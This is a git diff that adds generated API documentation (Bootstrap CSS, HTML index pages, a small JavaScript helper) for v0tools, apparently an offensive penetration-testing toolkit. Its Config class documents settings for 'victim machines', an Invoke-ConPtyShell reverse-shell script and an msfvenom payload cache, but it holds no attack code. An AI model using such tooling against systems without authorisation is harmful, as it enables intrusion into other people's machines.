.list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{min-height:16.43px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-weight:400;line-height:1.4;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-weight:400;line-height:1.42857143;text-align:left;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000;perspective:1000}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;margin-top:-10px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none!important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px)and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px)and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px)and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px)and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px)and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px)and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} \ No newline at end of file diff --git a/docs/public/api/classIndex.html b/docs/public/api/classIndex.html new file mode 100644 index 0000000..4527511 --- /dev/null +++ b/docs/public/api/classIndex.html @@ -0,0 +1,38 @@ + + + + + Class Hierarchy + + + + + + + +
+ + + + + +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/index.html b/docs/public/api/index.html new file mode 100644 index 0000000..15eb763 --- /dev/null +++ b/docs/public/api/index.html @@ -0,0 +1,57 @@ + + + + + API Documentation for v0tools + + + + + + + + +
+

+ Get Started +

+ +

+ About +

+

+ This documentation was automatically generated by + pydoctor + 21.2.2 + at 1996-06-17 15:00:00. +

+ +
+ + + \ No newline at end of file diff --git a/docs/public/api/moduleIndex.html b/docs/public/api/moduleIndex.html new file mode 100644 index 0000000..d146e31 --- /dev/null +++ b/docs/public/api/moduleIndex.html @@ -0,0 +1,37 @@ + + + + + Module Index + + + + + + + +
+ + + + + +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/nameIndex.html b/docs/public/api/nameIndex.html new file mode 100644 index 0000000..37f0f35 --- /dev/null +++ b/docs/public/api/nameIndex.html @@ -0,0 +1,238 @@ + + + + + Index of Names + + + + + + + + + +
+ + + + + + + +

A

+ + + + + + +

B

+ + + + + + +

C

+ + + + + + +

D

+ + + + + + +

E

+ + + + + + +

F

+ + + + + + +

G

+ + + + + + +

H

+ + + + + + +

I

+ + + + + + +

L

+ + + + + + +

M

+ + + + + + +

N

+ + + + + + +

O

+ + + + + + +

P

+ + + + + + +

R

+ + + + + + +

S

+ + + + + + +

T

+ + + + + + +

U

+ + + + + + +

V

+ + + + + + +

W

+ + + + + + +

X

+ + + + + + +

_

+ + + + +
+ + + + + + \ No newline at end of file diff --git a/docs/public/api/objects.inv b/docs/public/api/objects.inv new file mode 100644 index 0000000..35dbed6 Binary files /dev/null and b/docs/public/api/objects.inv differ diff --git a/docs/public/api/pydoctor.js b/docs/public/api/pydoctor.js new file mode 100644 index 0000000..f4f7f91 --- /dev/null +++ b/docs/public/api/pydoctor.js @@ -0,0 +1,29 @@ +function initPrivate() { + var params = (new URL(document.location)).searchParams; + if (!params || !parseInt(params.get('private'))) { + var show = false; + var hash = document.location.hash; + if (hash != '') { + var anchor = document.querySelector('a[name="' + hash.substring(1) + '"]'); + show = anchor && anchor.parentNode.classList.contains('private'); + } + if (!show) { + document.body.classList.add("private-hidden"); + } + } + updatePrivate(); +} +function togglePrivate() { + document.body.classList.toggle("private-hidden"); + updatePrivate(); +} +function updatePrivate() { + var hidden = document.body.classList.contains('private-hidden'); + document.querySelector('#showPrivate button').innerText = + hidden ? 'Show Private API' : 'Hide Private API'; + if (history) { + var search = hidden ? document.location.pathname : '?private=1'; + history.replaceState(null, '', search + document.location.hash); + } +} +initPrivate(); diff --git a/docs/public/api/undoccedSummary.html b/docs/public/api/undoccedSummary.html new file mode 100644 index 0000000..0bed4bd --- /dev/null +++ b/docs/public/api/undoccedSummary.html @@ -0,0 +1,38 @@ + + + + + Summary of Undocumented Objects + + + + + + + +
+ + + + + +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.BadEnvConfig.html b/docs/public/api/v0tools.BadEnvConfig.html new file mode 100644 index 0000000..43e9f80 --- /dev/null +++ b/docs/public/api/v0tools.BadEnvConfig.html @@ -0,0 +1,184 @@ + + + + + v0tools.BadEnvConfig : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class BadEnvConfig(Error):

+

View In Hierarchy

+
+ +
+

BadEnvConfig Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault Message for BadEnvConfig
Method__init__Return BadEnvConfig Object.
Instance Variableenv_varMissing / Invalid environment variable.
Instance VariablemsgAdditional message.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default Message for BadEnvConfig

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, env_var, msg=''): + +
+
+ + +

Return BadEnvConfig Object.

Parametersenv_varUndocumented (type: str)
msgUndocumented
+
+
+ + + + + + + +
+ + env_var = + +
+
+ + +

Missing / Invalid environment variable.

+
+
+ + + + + + + +
+ + msg = + +
+
+ + +

Additional message.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.Config.html b/docs/public/api/v0tools.Config.html new file mode 100644 index 0000000..da670e8 --- /dev/null +++ b/docs/public/api/v0tools.Config.html @@ -0,0 +1,163 @@ + + + + + v0tools.Config : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Config(object):

+

View In Hierarchy

+
+ +
+

Config Environment Variables.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
Static Methodget_val_throw_if_not_existReturn env value if override is not default and throw BadEnvConfig if it's invalid or doesn't exist
Static MethodV0_USERDefault identifier on the victim machines Default: V0_Rando.
Static MethodV0_POWERSHELL_CONPTYLocation of Invoke-ConPtyShell.ps1
Static MethodV0_VENOM_CACHEMSF Venom cache for autocomplete and functions Default ~/.msfvenom_cache.json
+ + + +
+ +
+ +
+ + + + + + + +
+ @staticmethod
+ def get_val_throw_if_not_exist(name, msg, override): + +
+
+ + +

Return env value if override is not default and throw BadEnvConfig if it's invalid or doesn't exist

+
+
+ + + + + + + +
+ @staticmethod
+ def V0_USER(): + +
+
+ + +

Default identifier on the victim machines Default: V0_Rando.

+
+
+ + + + + + + +
+ @staticmethod
+ def V0_POWERSHELL_CONPTY(override='__DEFAULT__'): + +
+
+ + +

Location of Invoke-ConPtyShell.ps1

see: :

+    https://github.com/antonioCoco/ConPtyShell
+
+
+
+ + + + + + + +
+ @staticmethod
+ def V0_VENOM_CACHE(): + +
+
+ + +

MSF Venom cache for autocomplete and functions Default ~/.msfvenom_cache.json

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
